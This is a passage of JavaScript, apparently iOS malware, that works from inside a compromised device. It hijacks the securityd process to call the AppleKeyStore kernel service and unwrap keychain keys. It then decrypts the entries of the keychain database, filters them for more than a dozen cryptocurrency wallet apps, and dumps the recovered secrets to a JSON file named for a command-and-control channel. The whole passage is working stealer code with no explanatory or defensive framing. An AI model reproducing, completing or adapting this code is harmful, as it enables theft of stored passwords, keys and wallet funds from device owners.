p7_toPtr(p7_secRC.call(3000, "task_self_trap")); p7_flog("securityd task_self=0x" + p7_secTaskSelf.toString(16)); // IOServiceMatching("AppleKeyStore") p7_secRC.writeStr(p7_rm, "AppleKeyStore"); var p7_matching = p7_toPtr(p7_secRC.call(3000, "IOServiceMatching", p7_rm)); p7_flog("IOServiceMatching=0x" + p7_matching.toString(16)); if (p7_matching && p7_matching !== 0n) { // IOServiceGetMatchingService(kIOMasterPortDefault, matching) var p7_service32 = p7_toRC(p7_secRC.call(3000, "IOServiceGetMatchingService", 0n, p7_matching)) & 0xFFFFFFFF; p7_flog("IOServiceGetMatchingService=" + p7_service32); if (p7_service32 > 0) { // IOServiceOpen(service, taskSelf, 0, &connSlot) var p7_connSlot = p7_rcCalloc(8); p7_secRC.write64(p7_connSlot, 0n); var p7_kr = p7_toRC(p7_secRC.call(3000, "IOServiceOpen", BigInt(p7_service32), p7_secTaskSelf, 0n, p7_connSlot)); p7_flog("IOServiceOpen kr=0x" + (p7_kr >>> 0).toString(16)); p7_secRC.call(1000, "IOObjectRelease", BigInt(p7_service32)); if (p7_kr === 0) { p7_aksConn = p7_secRC.read64(p7_connSlot) & 0xFFFFFFFFn; p7_flog("AKS conn=0x" + p7_aksConn.toString(16)); // IOConnectCallMethod(conn, 0, ...) init handshake var p7_initOut = p7_rcCalloc(32); var p7_initOutCnt = p7_rcCalloc(8); p7_secRC.write64(p7_initOutCnt, 2n); var p7_initKr = p7_rcCallN("IOConnectCallMethod", p7_aksConn, 0n, 0n, 0n, 0n, 0n, p7_initOut, p7_initOutCnt, [0n, 0n]); var p7_initKrN = p7_toRC(p7_initKr); p7_flog("AKS init kr=0x" + (p7_initKrN >>> 0).toString(16)); p7_rcFree(p7_initOut); p7_rcFree(p7_initOutCnt); if (p7_initKrN === 0) { p7_aksReady = true; p7_flog("AKS IOKit READY"); } else { p7_flog("AKS init handshake failed, trying unwrap anyway"); p7_aksReady = true; } } p7_rcFree(p7_connSlot); } } } p7_result.diagnostics.aksReady = p7_aksReady; p7_result.diagnostics.aksConn = "0x" + p7_aksConn.toString(16); p7_flushLog(); // --- AKS unwrap helper --- function p7_aksUnwrap(keyclass, wrappedBuf, wrappedLen) { if (!p7_aksReady || !p7_aksConn) return null; p7_flog("aksUnwrap: start class=" + keyclass + " len=" + wrappedLen); var scalarBuf, wrappedRemote, outBuf, outSizeBuf, kr, outSize; try { scalarBuf = p7_rcCalloc(16); p7_flog("aksUnwrap: scalar=0x" + scalarBuf.toString(16)); p7_secRC.write64(scalarBuf, 0n); p7_secRC.write64(scalarBuf + 8n, BigInt(keyclass)); p7_flog("aksUnwrap: scalars written"); wrappedRemote = p7_rcCalloc(wrappedLen); p7_flog("aksUnwrap: wrapRem=0x" + wrappedRemote.toString(16)); p7_rcWriteBuf(wrappedRemote, wrappedBuf, wrappedLen); p7_flog("aksUnwrap: wrapData written"); outBuf = p7_rcCalloc(64); outSizeBuf = p7_rcCalloc(8); p7_secRC.write64(outSizeBuf, 32n); p7_flog("aksUnwrap: calling IOConnectCallMethod..."); kr = p7_rcCallN("IOConnectCallMethod", p7_aksConn, 11n, scalarBuf, 2n, wrappedRemote, BigInt(wrappedLen), 0n, 0n, [outBuf, outSizeBuf]); p7_flog("aksUnwrap: call returned, kr type=" + typeof kr); outSize = Number(p7_secRC.read64(outSizeBuf) & 0xFFFFn); } catch (innerErr) { p7_flog("aksUnwrap INNER error: " + innerErr); if (scalarBuf) p7_rcFree(scalarBuf); if (wrappedRemote) p7_rcFree(wrappedRemote); if (outBuf) p7_rcFree(outBuf); if (outSizeBuf) p7_rcFree(outSizeBuf); return null; } p7_rcFree(scalarBuf); p7_rcFree(wrappedRemote); var result = null; var krVal = p7_toRC(kr); p7_flog("AKS unwrap kr=" + krVal + " outSize=" + outSize); if (krVal === 0 && outSize > 0 && outSize <= 64) { result = p7_rcReadBuf(outBuf, outSize); } p7_rcFree(outBuf); p7_rcFree(outSizeBuf); return { kr: krVal, outSize: outSize, data: result }; } // --- 2C: Local SQLite3 pipeline --- var p7_SQLITE_OK = 0; var p7_SQLITE_ROW = 100; var p7_dbPath1 = "/tmp/keychain-2.db"; var p7_dbPath2 = "/var/Keychains/keychain-2.db"; p7_flog("--- Local SQLite3 pipeline ---"); var p7_dbPtrBuf = N.callSymbol("calloc", 1, 8); var p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_dbPath1, p7_dbPtrBuf, 0x01, 0n)); if (p7_dbRc !== p7_SQLITE_OK) { p7_flog("DB1 failed rc=" + p7_dbRc + ", trying fallback"); p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_dbPath2, p7_dbPtrBuf, 0x01, 0n)); } p7_flog("sqlite3_open rc=" + p7_dbRc); if (p7_dbRc === p7_SQLITE_OK) { var p7_db = N.read64(BigInt(p7_dbPtrBuf)); N.callSymbol("free", p7_dbPtrBuf); N.callSymbol("sqlite3_busy_timeout", p7_db, 5000); p7_flog("DB opened OK, db=0x" + p7_db.toString(16)); p7_flushLog(); // --- Unwrap metadata keys --- p7_flog("preparing metadatakeys query..."); var p7_metaKeys = {}; var p7_stmtBuf = N.callSymbol("calloc", 1, 8); p7_flog("stmtBuf=0x" + BigInt(p7_stmtBuf).toString(16)); var p7_mkRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, "SELECT keyclass, data FROM metadatakeys", -1, p7_stmtBuf, 0n)); p7_flog("prepare rc=" + p7_mkRc); p7_flushLog(); if (p7_mkRc === p7_SQLITE_OK) { var p7_mkStmt = N.read64(BigInt(p7_stmtBuf)); p7_flog("mkStmt=0x" + p7_mkStmt.toString(16)); var p7_mkCount = 0; var p7_stepRc; while ((p7_stepRc = Number(N.callSymbol("sqlite3_step", p7_mkStmt))) === p7_SQLITE_ROW) { var p7_kc = Number(N.callSymbol("sqlite3_column_int", p7_mkStmt, 0)); var p7_wrapPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_mkStmt, 1)); var p7_wrapLen = Number(N.callSymbol("sqlite3_column_bytes", p7_mkStmt, 1)); p7_flog("mk row: class=" + p7_kc + " wrapPtr=0x" + p7_wrapPtr.toString(16) + " wrapLen=" + p7_wrapLen); if (!p7_wrapPtr || p7_wrapPtr === 0n || p7_wrapLen < 40) continue; var p7_localWrap = N.read(p7_wrapPtr, p7_wrapLen); p7_flog("metakey class=" + p7_kc + " wrapLen=" + p7_wrapLen); if (p7_aksReady) { var p7_unwrap = p7_aksUnwrap(p7_kc, p7_localWrap, p7_wrapLen); if (p7_unwrap && p7_unwrap.kr === 0 && p7_unwrap.data) { var p7_keyArr = new Uint8Array(p7_unwrap.data); var p7_keyHex = ""; for (var p7_ki = 0; p7_ki < p7_keyArr.length; p7_ki++) p7_keyHex += ("0" + p7_keyArr[p7_ki].toString(16)).slice(-2); p7_metaKeys[p7_kc] = p7_keyArr; p7_result.metadataKeys[p7_kc] = {status: "ok", len: p7_unwrap.outSize}; p7_mkCount++; p7_flog(" class " + p7_kc + " unwrapped OK (" + p7_unwrap.outSize + "B)"); } else { var p7_ukr = p7_unwrap ? p7_unwrap.kr : -1; p7_result.metadataKeys[p7_kc] = {status: "failed", kr: p7_ukr}; p7_flog(" class " + p7_kc + " unwrap FAILED kr=" + p7_ukr); } } } p7_flog("mk loop ended, stepRc=" + p7_stepRc); N.callSymbol("sqlite3_finalize", p7_mkStmt); p7_flog("metadatakeys: " + p7_mkCount + " unwrapped"); p7_result.diagnostics.metadataKeysUnwrapped = p7_mkCount; } else { p7_flog("metadatakeys prepare failed rc=" + p7_mkRc); p7_result.errors.push("metadatakeys prepare rc=" + p7_mkRc); } N.callSymbol("free", p7_stmtBuf); p7_flushLog(); // --- Check local CommonCrypto availability --- var p7_symCCCreate = p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "CCCryptorCreate")); var p7_hasCrypto = p7_symCCCreate !== 0n; p7_flog("Local CCCryptorCreate=0x" + p7_symCCCreate.toString(16)); p7_result.diagnostics.hasCrypto = p7_hasCrypto; p7_flushLog(); // Local AES-GCM with tag verification // Uses CCCryptorCreate(7args) + CCCryptorUpdate(6args) for AES-ECB, // then JavaScript for CTR mode + GHASH tag computation function p7_aesEcbEncrypt(keyPtr, ctx, localIn, localOut, movedBuf, block16) { N.write(localIn, block16.buffer); N.callSymbol("CCCryptorUpdate", ctx, localIn, 16n, localOut, 16n, movedBuf); return new Uint8Array(N.read(localOut, 16)); } function p7_gf128Mul(X, Y) { var Z = new Uint8Array(16); var V = new Uint8Array(Y); for (var i = 0; i < 128; i++) { if (X[i >> 3] & (0x80 >> (i & 7))) for (var j = 0; j < 16; j++) Z[j] ^= V[j]; var lsb = V[15] & 1; for (var j = 15; j > 0; j--) V[j] = (V[j] >>> 1) | ((V[j-1] & 1) << 7); V[0] >>>= 1; if (lsb) V[0] ^= 0xe1; } return Z; } function p7_gcmDeriveJ0(H, iv, ivLen) { var j0 = new Uint8Array(16); if (ivLen === 12) { for (var i = 0; i < 12; i++) j0[i] = iv[i]; j0[15] = 1; } else { var g = new Uint8Array(16); var nBlk = Math.ceil(ivLen / 16); for (var i = 0; i < nBlk; i++) { var off = i * 16, rem = Math.min(16, ivLen - off); for (var j = 0; j < rem; j++) g[j] ^= iv[off + j]; g = p7_gf128Mul(g, H); } var lb = new Uint8Array(16); var ivBits = ivLen * 8; lb[12] = (ivBits >>> 24) & 0xff; lb[13] = (ivBits >>> 16) & 0xff; lb[14] = (ivBits >>> 8) & 0xff; lb[15] = ivBits & 0xff; for (var j = 0; j < 16; j++) g[j] ^= lb[j]; j0 = p7_gf128Mul(g, H); } return j0; } function p7_gcmInc32(block) { var c = new Uint8Array(block); for (var k = 15; k >= 12; k--) { c[k]++; if (c[k] !== 0) break; } return c; } function p7_gcmDecrypt(key32, iv, ivLen, ct, ctLen, tag, tagLen) { if (!key32 || !ct || ctLen <= 0) return null; var localKey = p7_toPtr(N.callSymbol("malloc", 32)); N.write(localKey, key32.buffer || key32); var ctxBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); var cr = Number(N.callSymbol("CCCryptorCreate", 0n, 0n, 2n, localKey, 32n, 0n, ctxBuf)); if (cr !== 0) { p7_flog("gcm: CCCryptorCreate failed cr=" + cr); N.callSymbol("free", localKey); N.callSymbol("free", ctxBuf); return null; } var ctx = N.readPtr(ctxBuf); N.callSymbol("free", ctxBuf); var localIn = p7_toPtr(N.callSymbol("malloc", 16)); var localOut = p7_toPtr(N.callSymbol("malloc", 16)); var movedBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); var H = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, new Uint8Array(16)); var j0 = p7_gcmDeriveJ0(H, iv, ivLen); var ctr = p7_gcmInc32(j0); var plaintext = new Uint8Array(ctLen); var blockCount = Math.ceil(ctLen / 16); for (var b = 0; b < blockCount; b++) { var encCtr = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, ctr); var off = b * 16; var rem = Math.min(16, ctLen - off); for (var j = 0; j < rem; j++) plaintext[off + j] = ct[off + j] ^ encCtr[j]; ctr = p7_gcmInc32(ctr); } var tagOk = true; if (tag && tagLen > 0) { var ghash = new Uint8Array(16); var ctBlocks = Math.ceil(ctLen / 16); for (var i = 0; i < ctBlocks; i++) { var off2 = i * 16; var rem2 = Math.min(16, ctLen - off2); for (var j = 0; j < rem2; j++) ghash[j] ^= ct[off2 + j]; ghash = p7_gf128Mul(ghash, H); } var lenBlock = new Uint8Array(16); var ctBits = ctLen * 8; lenBlock[12] = (ctBits >>> 24) & 0xff; lenBlock[13] = (ctBits >>> 16) & 0xff; lenBlock[14] = (ctBits >>> 8) & 0xff; lenBlock[15] = ctBits & 0xff; for (var j = 0; j < 16; j++) ghash[j] ^= lenBlock[j]; ghash = p7_gf128Mul(ghash, H); var encJ0 = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, j0); var computedTag = new Uint8Array(16); for (var j = 0; j < 16; j++) computedTag[j] = ghash[j] ^ encJ0[j]; tagOk = true; for (var j = 0; j < Math.min(tagLen, 16); j++) { if (computedTag[j] !== tag[j]) { tagOk = false; break; } } } N.callSymbol("CCCryptorRelease", ctx); N.callSymbol("free", localKey); N.callSymbol("free", localIn); N.callSymbol("free", localOut); N.callSymbol("free", movedBuf); if (!tagOk) { p7_flog("GCM TAG MISMATCH ct=" + ctLen + " iv=" + ivLen); p7_result.diagnostics.tagMismatches = (p7_result.diagnostics.tagMismatches || 0) + 1; } return plaintext.buffer; } // --- V7 blob parser helpers --- function p7_parseVarint(buf, offset) { var val = 0, shift = 0, i = offset; while (i < buf.length) { var b = buf[i++]; val |= (b & 0x7F) << shift; if (!(b & 0x80)) break; shift += 7; } return {value: val, nextOffset: i}; } function p7_parseProtobuf(data) { var buf = new Uint8Array(data); var fields = {}; var i = 0; while (i < buf.length) { var tagInfo = p7_parseVarint(buf, i); i = tagInfo.nextOffset; var fieldNum = tagInfo.value >> 3; var wireType = tagInfo.value & 0x7; if (wireType === 0) { var v = p7_parseVarint(buf, i); fields["f" + fieldNum + "_varint"] = v.value; i = v.nextOffset; } else if (wireType === 2) { var lenInfo = p7_parseVarint(buf, i); i = lenInfo.nextOffset; var chunk = buf.slice(i, i + lenInfo.value); if (!fields["f" + fieldNum]) fields["f" + fieldNum] = []; fields["f" + fieldNum].push(chunk); i += lenInfo.value; } else { break; } } return fields; } function p7_parseBplist(buf) { if (buf.length < 40) return null; if (buf[0]!==0x62||buf[1]!==0x70||buf[2]!==0x6c||buf[3]!==0x69||buf[4]!==0x73||buf[5]!==0x74) return null; var tOff = buf.length - 32; var oiSz = buf[tOff+6], orSz = buf[tOff+7]; var nObj = 0; for (var i=0;i<8;i++) nObj = nObj*256 + buf[tOff+8+i]; var topIdx = 0; for (var i=0;i<8;i++) topIdx = topIdx*256 + buf[tOff+16+i]; var otOff = 0; for (var i=0;i<8;i++) otOff = otOff*256 + buf[tOff+24+i]; function rdSz(off, sz) { var v=0; for(var i=0;i=nObj) return null; var off = offsets[idx]; var marker = buf[off]; var hi = marker >> 4, lo = marker & 0xf; if (hi===0) { return lo===0?null:lo===8?false:lo===9?true:null; } if (hi===1) { var n=1<= objArr.length) return null; var rootObj = bp.parseObj(objArr[rootIdx]); if (!rootObj||!rootObj._dict) return null; function getUid(key) { var ref = rootObj._dict[key]; if (ref===undefined) return -1; var u = bp.parseObj(ref); if (u && u._uid !== undefined) return u._uid; return typeof ref==="number"? ref : -1; } var ivIdx = getUid("SFInitializationVector"); var ctIdx = getUid("SFCiphertext"); var tagIdx = getUid("SFAuthenticationCode"); if (tagIdx < 0) tagIdx = getUid("SFAuthenticationTag"); if (ivIdx<0||ivIdx>=objArr.length||ctIdx<0||ctIdx>=objArr.length) return null; var ivData = bp.parseObj(objArr[ivIdx]); var ctData = bp.parseObj(objArr[ctIdx]); if (!(ivData instanceof Uint8Array) || !(ctData instanceof Uint8Array)) return null; var tag = null; if (tagIdx >= 0 && tagIdx < objArr.length) { var t = bp.parseObj(objArr[tagIdx]); if (t instanceof Uint8Array) tag = t; } var ct = ctData; if (!tag && ct.length > 16) { tag = ct.slice(ct.length - 16); ct = ct.slice(0, ct.length - 16); } return {iv: ivData, ct: ct, tag: tag}; } // --- TLV decoder --- function p7_decodeTLV(data) { var buf = new Uint8Array(data); var attrs = {}; var i = 0; // Outer: tag 0x30 or 0x31 (SEQUENCE/SET) if (buf.length < 4) return attrs; if (buf[0] === 0x30 || buf[0] === 0x31) { var outerLen = buf[1]; if (outerLen === 0x82) { outerLen = (buf[2] << 8) | buf[3]; i = 4; } else if (outerLen === 0x81) { outerLen = buf[2]; i = 3; } else { i = 2; } } while (i + 2 < buf.length) { var seqTag = buf[i++]; if (seqTag !== 0x30) break; var seqLen = buf[i++]; if (seqLen === 0x81) { seqLen = buf[i++]; } else if (seqLen === 0x82) { seqLen = (buf[i] << 8) | buf[i+1]; i += 2; } var seqEnd = i + seqLen; if (seqEnd > buf.length) break; // Inside: key string tag (0x0C UTF8String or 0x18 GeneralizedTime) + value var keyTag = buf[i++]; var keyLen = buf[i++]; if (keyLen === 0x81) { keyLen = buf[i++]; } var keyStr = ""; for (var ki = 0; ki < keyLen && (i + ki) < buf.length; ki++) keyStr += String.fromCharCode(buf[i + ki]); i += keyLen; if (i < seqEnd) { var valTag = buf[i++]; var valLen = buf[i++]; if (valLen === 0x81) { valLen = buf[i++]; } else if (valLen === 0x82) { valLen = (buf[i] << 8) | buf[i+1]; i += 2; } if (valTag === 0x0C || valTag === 0x18 || valTag === 0x16) { var valStr = ""; for (var vi = 0; vi < valLen && (i + vi) < buf.length; vi++) valStr += String.fromCharCode(buf[i + vi]); attrs[keyStr] = valStr; } else if (valTag === 0x04) { var valBytes = buf.slice(i, i + valLen); var hex = ""; for (var hi = 0; hi < valBytes.length; hi++) hex += ("0" + valBytes[hi].toString(16)).slice(-2); attrs[keyStr] = hex; attrs[keyStr + "_raw"] = valBytes; } else if (valTag === 0x02) { var intVal = 0; for (var ii = 0; ii < valLen && (i + ii) < buf.length; ii++) intVal = (intVal << 8) | buf[i + ii]; attrs[keyStr] = intVal; } i += valLen; } i = seqEnd; } return attrs; } // --- Table scan + decrypt --- p7_flog("=== Table scan + decrypt ==="); p7_flushLog(); var p7_tableNames = ["genp", "inet", "cert", "keys"]; var p7_MAX_ROWS = 2000; for (var p7_ti = 0; p7_ti < p7_tableNames.length; p7_ti++) { var p7_tbl = p7_tableNames[p7_ti]; p7_flog("table[" + p7_ti + "]=" + p7_tbl + " starting..."); var p7_items = []; var p7_tStmt = BigInt(N.callSymbol("calloc", 1, 8)); var p7_tSql = "SELECT rowid, data FROM " + p7_tbl + " LIMIT " + p7_MAX_ROWS; var p7_tRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, p7_tSql, -1, p7_tStmt, 0n)); p7_flog(p7_tbl + " prepare rc=" + p7_tRc); if (p7_tRc !== p7_SQLITE_OK) { p7_flog(p7_tbl + " prepare FAILED"); N.callSymbol("free", p7_tStmt); p7_result.tables[p7_tbl] = {error: "prepare rc=" + p7_tRc, items: []}; continue; } var p7_stmt = N.read64(BigInt(p7_tStmt)); N.callSymbol("free", p7_tStmt); var p7_rowCount = 0; p7_flushLog(); var p7_stepVal; while ((p7_stepVal = Number(N.callSymbol("sqlite3_step", p7_stmt))) === p7_SQLITE_ROW) { p7_rowCount++; try { if (p7_rowCount <= 3 || p7_rowCount % 50 === 0) p7_flog(p7_tbl + " row " + p7_rowCount); if (p7_rowCount === 1) { p7_flog("step1: column_int..."); p7_flushLog(); } var p7_rowid = Number(N.callSymbol("sqlite3_column_int", p7_stmt, 0)); if (p7_rowCount === 1) { p7_flog("step2: rowid=" + p7_rowid + " column_blob..."); p7_flushLog(); } var p7_blobPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_stmt, 1)); if (p7_rowCount === 1) { p7_flog("step3: blobPtr=0x" + p7_blobPtr.toString(16) + " column_bytes..."); p7_flushLog(); } var p7_blobLen = Number(N.callSymbol("sqlite3_column_bytes", p7_stmt, 1)); if (p7_rowCount <= 3) p7_flog(" rid=" + p7_rowid + " blobPtr=0x" + p7_blobPtr.toString(16) + " blobLen=" + p7_blobLen); if (!p7_blobPtr || p7_blobPtr === 0n || p7_blobLen < 8) { p7_items.push({rowid: p7_rowid, error: "empty"}); continue; } if (p7_blobLen > 65536) { p7_flog("WARN " + p7_tbl + " row " + p7_rowCount + " blobLen=" + p7_blobLen + " >64KB, skip"); p7_items.push({rowid: p7_rowid, error: "blob_too_large len=" + p7_blobLen}); continue; } if (p7_rowCount === 1) { p7_flog("step4: N.read(0x" + p7_blobPtr.toString(16) + ", " + p7_blobLen + ")..."); p7_flushLog(); } var p7_blobData = new Uint8Array(N.read(p7_blobPtr, p7_blobLen)); if (p7_rowCount === 1) { p7_flog("step5: read OK, len=" + p7_blobData.length); p7_flushLog(); } var p7_version = p7_blobData[0] | (p7_blobData[1] << 8) | (p7_blobData[2] << 16) | (p7_blobData[3] << 24); var p7_item = {rowid: p7_rowid, _table: p7_tbl, version: p7_version}; if (p7_rowCount <= 3) p7_flog(" v=" + p7_version + " first4=0x" + (p7_blobData[0].toString(16)) + (p7_blobData[1].toString(16)) + (p7_blobData[2].toString(16)) + (p7_blobData[3].toString(16))); try { var p7_pbData; if (p7_version >= 7 && p7_version <= 20) { p7_pbData = p7_blobData.slice(4); } else if (p7_blobData[0] === 0x0a || p7_blobData[0] === 0x08 || p7_blobData[0] === 0x12) { p7_pbData = p7_blobData; p7_item.version = 7; } else { p7_item.error = "unknown_format v=" + p7_version; p7_items.push(p7_item); continue; } var p7_pb = p7_parseProtobuf(p7_pbData.buffer); var p7_protClass = p7_pb.f3_varint || 0; p7_item.protectionClass = p7_protClass; if (p7_rowCount <= 3) p7_flog(" pb OK class=" + p7_protClass); // Extract nested fields // outer.1 -> f1[0] (nested: 1.1=bplistFirst, 1.2.1=blob3Key) // outer.2 -> f2[0] (nested: 2.1=bplistSecond, 2.2=bplistThird) var p7_bpFirst = null, p7_bpSecond = null, p7_bpThird = null, p7_blob3Key = null; if (p7_pb.f1 && p7_pb.f1[0]) { var p7_inner1 = p7_parseProtobuf(p7_pb.f1[0].buffer); if (p7_inner1.f1 && p7_inner1.f1[0]) p7_bpFirst = p7_inner1.f1[0]; if (p7_inner1.f2 && p7_inner1.f2[0]) { var p7_inner12 = p7_parseProtobuf(p7_inner1.f2[0].buffer); if (p7_inner12.f1 && p7_inner12.f1[0]) p7_blob3Key = p7_inner12.f1[0]; } } if (p7_pb.f2 && p7_pb.f2[0]) { var p7_inner2 = p7_parseProtobuf(p7_pb.f2[0].buffer); if (p7_inner2.f1 && p7_inner2.f1[0]) p7_bpSecond = p7_inner2.f1[0]; if (p7_inner2.f2 && p7_inner2.f2[0]) p7_bpThird = p7_inner2.f2[0]; } p7_item._blobSizes = { first: p7_bpFirst ? p7_bpFirst.length : 0, second: p7_bpSecond ? p7_bpSecond.length : 0, third: p7_bpThird ? p7_bpThird.length : 0, blob3: p7_blob3Key ? p7_blob3Key.length : 0 }; // Layer 1: GCM(bplistThird, metadataKey[class]) -> intermediate var p7_mkeyArr = p7_metaKeys[p7_protClass]; if (!p7_mkeyArr) { p7_item.error = "no_metadata_key class=" + p7_protClass; p7_items.push(p7_item); continue; } if (p7_bpThird && p7_hasCrypto) { if (p7_rowCount <= 3) { p7_flog(" L1: parseBplist(third " + p7_bpThird.length + "B)..."); p7_flushLog(); } var p7_l1 = p7_parseBplistCiphertext(p7_bpThird); if (p7_rowCount <= 3) p7_flog(" L1: bplist=" + (p7_l1 ? "iv=" + (p7_l1.iv ? p7_l1.iv.length : "null") + " ct=" + (p7_l1.ct ? p7_l1.ct.length : "null") : "null")); if (p7_l1 && p7_l1.ct && p7_l1.iv) { if (p7_rowCount <= 3) { p7_flog(" L1: gcmDecrypt..."); p7_flushLog(); } var p7_interKey = p7_gcmDecrypt(p7_mkeyArr, p7_l1.iv, p7_l1.iv.length, p7_l1.ct, p7_l1.ct.length, p7_l1.tag, p7_l1.tag ? p7_l1.tag.length : 0); if (p7_rowCount <= 3) p7_flog(" L1: gcmResult=" + (p7_interKey ? p7_interKey.byteLength + "B" : "null")); if (p7_interKey) { var p7_interArr = new Uint8Array(p7_interKey); // Layer 2: GCM(bplistSecond, intermediateKey) -> metadata TLV if (p7_bpSecond) { if (p7_rowCount <= 3) { p7_flog(" L2: parseBplist(second)..."); p7_flushLog(); } var p7_l2 = p7_parseBplistCiphertext(p7_bpSecond); if (p7_rowCount <= 3) p7_flog(" L2: bplist=" + (p7_l2 ? "ok" : "null")); if (p7_l2 && p7_l2.ct && p7_l2.iv) { if (p7_rowCount <= 3) { p7_flog(" L2: gcmDecrypt..."); p7_flushLog(); } var p7_metaPt = p7_gcmDecrypt( p7_interArr.length >= 32 ? p7_interArr.slice(0, 32) : p7_interArr, p7_l2.iv, p7_l2.iv.length, p7_l2.ct, p7_l2.ct.length, p7_l2.tag, p7_l2.tag ? p7_l2.tag.length : 0); if (p7_metaPt) { var p7_metaAttrs = p7_decodeTLV(p7_metaPt); p7_item.service = p7_metaAttrs["svce"] || null; p7_item.account = p7_metaAttrs["acct"] || null; p7_item.accessGroup = p7_metaAttrs["agrp"] || null; p7_item.label = p7_metaAttrs["labl"] || null; } else { p7_item.layer2Error = "gcm_fail"; } } else { p7_item.layer2Error = "bplist_parse"; } } // Layer 3: AKS unwrap(blob3Key) + GCM(bplistFirst, blob3key) -> secret TLV if (p7_blob3Key && p7_bpFirst && p7_aksReady) { if (p7_rowCount <= 3) { p7_flog(" L3: aksUnwrap(class=" + p7_protClass + " len=" + p7_blob3Key.length + ")..."); p7_flushLog(); } var p7_b3Unwrap = p7_aksUnwrap(p7_protClass, p7_blob3Key.buffer, p7_blob3Key.length); if (p7_rowCount <= 3) p7_flog(" L3: unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : "null")); if (p7_b3Unwrap && p7_b3Unwrap.kr === 0 && p7_b3Unwrap.data) { var p7_b3Key = new Uint8Array(p7_b3Unwrap.data); if (p7_rowCount <= 3) { p7_flog(" L3: parseBplist(first)..."); p7_flushLog(); } var p7_l3 = p7_parseBplistCiphertext(p7_bpFirst); if (p7_rowCount <= 3) p7_flog(" L3: bplist=" + (p7_l3 ? "ok" : "null")); if (p7_l3 && p7_l3.ct && p7_l3.iv) { if (p7_rowCount <= 3) { p7_flog(" L3: gcmDecrypt(secret)..."); p7_flushLog(); } var p7_secPt = p7_gcmDecrypt( p7_b3Key.length >= 32 ? p7_b3Key.slice(0, 32) : p7_b3Key, p7_l3.iv, p7_l3.iv.length, p7_l3.ct, p7_l3.ct.length, p7_l3.tag, p7_l3.tag ? p7_l3.tag.length : 0); if (p7_secPt) { var p7_secAttrs = p7_decodeTLV(p7_secPt); if (p7_secAttrs["v_Data"]) { p7_item.dataHex = p7_secAttrs["v_Data"]; } } else { p7_item.layer3Error = "gcm_fail"; } } else { p7_item.layer3Error = "bplist_parse"; } } else { p7_item.layer3Error = "aks_unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : -1); } } } else { p7_item.layer1Error = "gcm_fail"; } } else { p7_item.layer1Error = "bplist_parse"; } } else if (!p7_bpThird) { p7_item.error = "no_bpThird"; } } catch (p7_decErr) { p7_item.error = "decrypt: " + p7_decErr; } p7_items.push(p7_item); } catch (p7_rowErr) { p7_flog(p7_tbl + " row " + p7_rowCount + " CRASH: " + p7_rowErr); p7_flushLog(); } } N.callSymbol("sqlite3_finalize", p7_stmt); p7_flog(p7_tbl + ": " + p7_rowCount + " rows, " + p7_items.length + " processed"); p7_result.tables[p7_tbl] = {count: p7_rowCount, items: p7_items}; p7_flushLog(); } // --- Wallet scan --- var p7_walletRules = [ ["bitpie", ["bitpie"]], ["trustwallet", ["sixdays.trust", "group.com.sixdays"]], ["imtoken", ["im.token"]], ["tokenpocket", ["tokenpocket"]], ["phantom", ["app.phantom"]], ["uniswap", ["uniswap"]], ["coinbase", ["org.toshi"]], ["bitget", ["bitkeep"]], ["metamask", ["io.metamask"]], ["okx", ["okinc.okex"]], ["tronlink", ["tronlink"]], ["coin98", ["coin98"]], ["solflare", ["solflare"]], ["exodus", ["exodus"]], ["tonkeeper", ["tonkeeper", "jbig.tonkeeper"]], ]; var p7_wallets = {}; for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) p7_wallets[p7_walletRules[p7_ri][0]] = []; for (var p7_wti = 0; p7_wti < p7_tableNames.length; p7_wti++) { var p7_wTbl = p7_result.tables[p7_tableNames[p7_wti]]; if (!p7_wTbl || !p7_wTbl.items) continue; for (var p7_wi = 0; p7_wi < p7_wTbl.items.length; p7_wi++) { var p7_wItem = p7_wTbl.items[p7_wi]; if (p7_wItem.error) continue; var p7_agrp = (p7_wItem.accessGroup || "").toLowerCase(); var p7_svce = (p7_wItem.service || "").toLowerCase(); for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { var p7_pats = p7_walletRules[p7_ri][1]; var p7_hit = false; for (var p7_pi = 0; p7_pi < p7_pats.length; p7_pi++) { if (p7_agrp.indexOf(p7_pats[p7_pi]) >= 0 || p7_svce.indexOf(p7_pats[p7_pi]) >= 0) { p7_hit = true; break; } } if (p7_hit) { p7_wallets[p7_walletRules[p7_ri][0]].push(p7_wItem); break; } } } } p7_result.wallets = {}; var p7_wlog = "wallets:"; for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { var p7_wk = p7_walletRules[p7_ri][0]; if (p7_wallets[p7_wk].length > 0) { p7_result.wallets[p7_wk] = {count: p7_wallets[p7_wk].length, items: p7_wallets[p7_wk]}; p7_wlog += " " + p7_wk + "=" + p7_wallets[p7_wk].length; } } p7_flog(p7_wlog); // --- Write result --- N.callSymbol("sqlite3_close", p7_db); var p7_jsonStr = JSON.stringify(p7_result); var p7_outTmp = "/tmp/keychain_c2_dump.json.tmp"; var p7_outFinal = "/tmp/keychain_c2_dump.json"; var p7_outDone = "/tmp/keychain_c2_dump.done"; var p7_outFd = Number(N.callSymbol("open", p7_outTmp, 0x601, 0x1FF)); if (p7_outFd >= 0) { var p7_jBuf = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStr.length + 1))); N.writeString(p7_jBuf, p7_jsonStr); N.callSymbol("write", p7_outFd, p7_jBuf, p7_jsonStr.length); N.callSymbol("fsync", p7_outFd); N.callSymbol("close", p7_outFd); N.callSymbol("free", p7_jBuf); N.callSymbol("chmod", p7_outTmp, 0x1FF); N.callSymbol("unlink", p7_outFinal); N.callSymbol("rename", p7_outTmp, p7_outFinal); N.callSymbol("chmod", p7_outFinal, 0x1FF); // Write done marker var p7_doneFd = 